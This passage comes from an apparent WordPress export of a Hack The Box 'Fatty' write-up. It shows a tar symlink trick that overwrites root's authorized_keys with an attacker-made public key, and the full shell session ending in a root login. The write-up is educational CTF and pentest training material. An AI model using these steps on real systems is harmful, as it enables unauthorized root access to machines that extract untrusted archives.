href=\"https:\/\/github.com\/BuddhaLabs\/PacketStorm-Exploits\/blob\/master\/0101-exploits\/tar-symlink.txt\" target=\"_blank\" rel=\"noreferrer noopener\">tar exploit<\/a><span>\u00a0<\/span>and the cause of it is actually pretty simple:<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archives can contain files with the same filename multiple times. You can easily verify this by creating a<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive and adding the same file multiple times:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/etc$ tar -cvf \/tmp\/test.tar passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/etc$ tar -tvf \/tmp\/test.tar <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- root\/root <\/span><span class=\"enlighter-n1\">3550<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- root\/root <\/span><span class=\"enlighter-n1\">3550<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> passwd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- root\/root <\/span><span class=\"enlighter-n1\">3550<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> passwd<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>While this behavior is odd, it is no problem when all the items with identical filenames are just regular files. In this case, when extracting the archive, the files will just overwrite each other and the result is the last added file. But what happens if not all files are just regular files?<\/p>\n<p>Well, this is what the exploit abuses. A<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive can also contain<span>\u00a0<\/span><em>symlinks<span>\u00a0<\/span><\/em>that point to arbitrary resources on the system where they are extracted. By first packing a<span>\u00a0<\/span><em>symlink<span>\u00a0<\/span><\/em>to a sensitive file like<span>\u00a0<\/span><code>authorized_keys<\/code><span>\u00a0<\/span>and then a<span>\u00a0<\/span><em>public key<\/em><span>\u00a0<\/span>file with exactly the same filename into a<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive, we could easily obtain code execution on the targeted system. The following listing shows an example of this situation:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ ln -s \/root\/.ssh\/authorized_keys exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ tar -cvf exploit.tar exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ rm exploit.pub &amp;&amp; mv key.pub exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ tar -rvf exploit.tar exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">exploit.pub<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ tar -tvf exploit.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">lrwxrwxrwx pentester\/pentester <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> exploit.pub -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> \/root\/.ssh\/authorized_keys<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- pentester\/pentester <\/span><span class=\"enlighter-n1\">568<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">31<\/span><span class=\"enlighter-text\"> exploit.pub<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>If this archive is extracted by a vulnerable<span>\u00a0<\/span><em>tar<span>\u00a0<\/span><\/em>version, the symlink is extracted first and then overwritten by the public key file. The result is that the public key file will be written to the<span>\u00a0<\/span><code>.ssh<\/code><span>\u00a0<\/span>folder of the root account. However, recent versions of<span>\u00a0<\/span><em>tar<\/em><span>\u00a0<\/span>are no longer vulnerable against this kind of attack, but with a little bit of creativity, there is something different one can do with<span>\u00a0<\/span><em>symlinks<\/em>.<\/p>\n<p>As it turns out, a<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file can also contain files that have exactly the same name as the corresponding<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive. When extracting an archive with the same name as one of the contained files, the extracted file will overwrite the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive. Okay that is odd, but how could it be exploited?<\/p>\n<p>Consider that you have a situation where someone is regularly executing the following pattern:<\/p>\n<ol>\n<li>Download a<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file to his local disk.<\/li>\n<li>Extracting the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file inside the same directory it was downloaded.<\/li>\n<\/ol>\n<p>If the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file contains a symlink that has the same name as the archive itself, it will replace the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive with a symlink to an arbitrary destination on extraction. Once the next download occurs, the newly downloaded<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file will overwrite the old one, but when the old<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file was replaced by a<span>\u00a0<\/span><em>symlink<\/em>, the new downloaded file will be written to the destination the symlink is pointing to. This allows us to write arbitrary files with the permissions of the extracting user.<\/p>\n<h3 id=\"root-shell\">4.3 \u2013 Obtaining the root Shell<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>It should be clear that the above described situation could apply for us. On our docker container the user<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>creates a<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive regularly inside<span>\u00a0<\/span><code>\/opt\/fatty\/tar<\/code>, which is pulled by some other user using<span>\u00a0<\/span><em>scp<\/em>. It is likely that the log pulling user will extract the contents of the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>archive at some point of time and if we are lucky, he will do it in the same directory where the new incoming<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file will be stored. In this case, we could use the above mentioned technique to write arbitrary files.<\/p>\n<p>Since we already got the user flag, we assume that this attack vector will give us direct root access to the<span>\u00a0<\/span><em>fatty<span>\u00a0<\/span><\/em>application server. Therefore, we go<span>\u00a0<\/span><em>all in<\/em><span>\u00a0<\/span>and try directly to overwrite the<span>\u00a0<\/span><em>authorized_keys<\/em><span>\u00a0<\/span>file of the root user account. Our attack plan will look like this:<\/p>\n<ol>\n<li>Create a<span>\u00a0<\/span><em>logs.tar<\/em><span>\u00a0<\/span>file that contains a symlink with name<span>\u00a0<\/span><em>logs.tar<\/em><span>\u00a0<\/span>pointing to<span>\u00a0<\/span><code>\/root\/.ssh\/authorized_keys<\/code>.<\/li>\n<li>After waiting one minute, overwrite<span>\u00a0<\/span><em>logs.tar<\/em><span>\u00a0<\/span>with a<span>\u00a0<\/span><em>public key<\/em><span>\u00a0<\/span>that was generated by us.<\/li>\n<li>After another minute, we should be able to login as the<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>user using<span>\u00a0<\/span><em>ssh<\/em>.<\/li>\n<\/ol>\n<p>Here are the corresponding commands:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ mkdir exploit<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ ln -s \/root\/.ssh\/authorized_keys exploit\/logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ tar -cvf logs.tar -C .\/exploit logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ tar -tvf logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">lrwxrwxrwx qtc\/qtc <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">28<\/span><span class=\"enlighter-text\"> logs.tar -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> \/root\/.ssh\/authorized_keys<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ cp logs.tar \/opt\/fatty\/tar\/logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ sleep <\/span><span class=\"enlighter-n1\">60<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ ssh-keygen -f key<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Generating<\/span><span class=\"enlighter-text\"> public\/private rsa key pair.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Enter<\/span><span class=\"enlighter-text\"> passphrase <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">empty for no passphrase<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Enter<\/span><span class=\"enlighter-text\"> same passphrase again:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Your<\/span><span class=\"enlighter-text\"> identification has been saved in key.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Your<\/span><span class=\"enlighter-text\"> public key has been saved in key.pub.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">The<\/span><span class=\"enlighter-text\"> key fingerprint is:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">SHA256:ZFaBEexkmBlaZh2MqvliJO1TRxjR+ggWI77hel1+L\/Q qtc@164d6a53be73<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">The<\/span><span class=\"enlighter-text\"> key's randomart image is:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">+---<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2048<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">----+<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">| .o=X+=o. |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|. o .=* B. |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|.. o.= ++ |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">| oo + .+. |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|.oo+ + S |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|.o= o + . |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|.+ + + . . |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">|. * o . o E |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">| o o . o. |<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">+----<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">SHA256<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">-----+<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ cp key.pub \/opt\/fatty\/tar\/logs.tar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ sleep <\/span><span class=\"enlighter-n1\">60<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ ssh -o StrictHostKeyChecking=no root@172.28.0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> -i key<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Linux<\/span><span class=\"enlighter-text\"> fatty 4.9.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">-amd64 <\/span><span class=\"enlighter-c0\">#1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">The<\/span><span class=\"enlighter-text\"> programs included with the Debian <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux system are free software<\/span><span class=\"enlighter-c0\">;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">the exact distribution terms for each program are described in the<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">individual files in \/usr\/share\/doc\/*\/copyright.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Debian<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux comes with <\/span><span class=\"enlighter-e3\">ABSOLUTELY<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">NO<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">WARRANTY<\/span><span class=\"enlighter-text\">, to the extent<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">permitted by applicable law.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">mesg: ttyname failed: Inappropriate ioctl for device<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">id<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uid=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> gid=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> groups=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">cat root.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ee98<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Worked perfectly! If you are confused about the IP address<span>\u00a0<\/span><em>172.28.0.1<\/em>, this is just the IP address of the docker bridge our container is plugged in. The docker bridge is just a bridge device that is located in the network namespace of the docker host and the IP address of the bridge gives you access to the docker host itself. To identify the IP address of the bridge device, you can just use a command<span>\u00a0<\/span><code>ip a<\/code><span>\u00a0<\/span>on the container:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ ip a<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">: lo: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">LOOPBACK<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">65536<\/span><span class=\"enlighter-text\"> qdisc noqueue state <\/span><span class=\"enlighter-e3\">UNKNOWN<\/span><span class=\"enlighter-text\"> qlen <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> link\/loopback <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> brd <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 127.0.0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> scope host lo<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> valid_lft forever preferred_lft forever<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">: eth0@if11: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-text\">,M-<\/span><span class=\"enlighter-e3\">DOWN<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> qdisc noqueue state <\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> link\/ether <\/span><span class=\"enlighter-n1\">02<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">42<\/span><span class=\"enlighter-text\">:ac:1c:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> brd ff:ff:ff:ff:ff:ff<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 172.28.0.<\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">16<\/span><span class=\"enlighter-text\"> brd 172.28.255.<\/span><span class=\"enlighter-n1\">255<\/span><span class=\"enlighter-text\"> scope global eth0<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> valid_lft forever preferred_lft forever<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>In the most (all?) cases, the docker bridge will have the same IP address as the container, except that it ends with a one.<\/p>\n<p>Furthermore, we had to use the<span>\u00a0<\/span><em>ssh<span>\u00a0<\/span><\/em>option<span>\u00a0<\/span><code>StrictHostKeyChecking=no<\/code>. To be honest, I\u2019m not sure why this is the case, but otherwise<span>\u00a0<\/span><em>ssh<span>\u00a0<\/span><\/em>was throwing an error. Probably<span>\u00a0<\/span><em>ssh<span>\u00a0<\/span><\/em>tries to write the hostkey to the<span>\u00a0<\/span><em>known_hosts<span>\u00a0<\/span><\/em>file of the root user and is missing permissions for that, but I had not investigated this issue any further.<\/p>\n<h2 id=\"conclusions\">5.0 \u2013 Conclusions<\/h2>\n<p>The<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>machine demonstrates the devastating consequences of vulnerabilities inside of<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>software. From my personal experience it is alarming how often<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>software can be exploited to execute arbitrary commands on the corresponding application server. With<span>\u00a0<\/span><em>Fatty<\/em>, I want to increase the awareness on<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>vulnerabilities and enable other pentesters to find them more easily.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":96,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"<!-- wp:paragraph -->\n<p>Back in the year 2019, usd HeroLab consultant and security researcher Tobias Neitzel (<a href=\"https:\/\/twitter.com\/qtc_de\" target=\"_blank\" rel=\"noreferrer noopener\">@qtc_de<\/a>) created&nbsp;<em>Fatt<\/em>y, a vulnerable Machine that he submitted to&nbsp;<a href=\"https:\/\/www.hackthebox.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hack The Box<\/a>.&nbsp;<em>Fatty&nbsp;<\/em>was released at the beginning of 2020 and focuses on<em>&nbsp;fat client<\/em>&nbsp;exploitation. In this post, we release the writeup that Tobias created for his initial box submission. It also contains a beginners guide on how to tackle&nbsp;<em>fat clients<\/em>&nbsp;during a security assessment. Want to improve your&nbsp;<em>fat client<\/em>assessment skills? Then make sure to read on!&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Table of Contents<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#description\">1.0 \u2013 Description<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#getting-started\">2.3 \u2013 Getting Started<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#building-own-client\">2.3.5 \u2013 Building a own Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#patching-classes\">2.3.6 \u2013 Patching Classes<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#spring-framework\">2.3.8 \u2013 The Spring Framework<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#enumeration\">3.1 \u2013 Starting Enumeration<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#running-fatty\">3.2 \u2013 Getting Fatty Running<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#exploring-the-client\">3.3 \u2013 Exploring the Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#own-fatty-client\">3.6 \u2013 Building your own Fatty 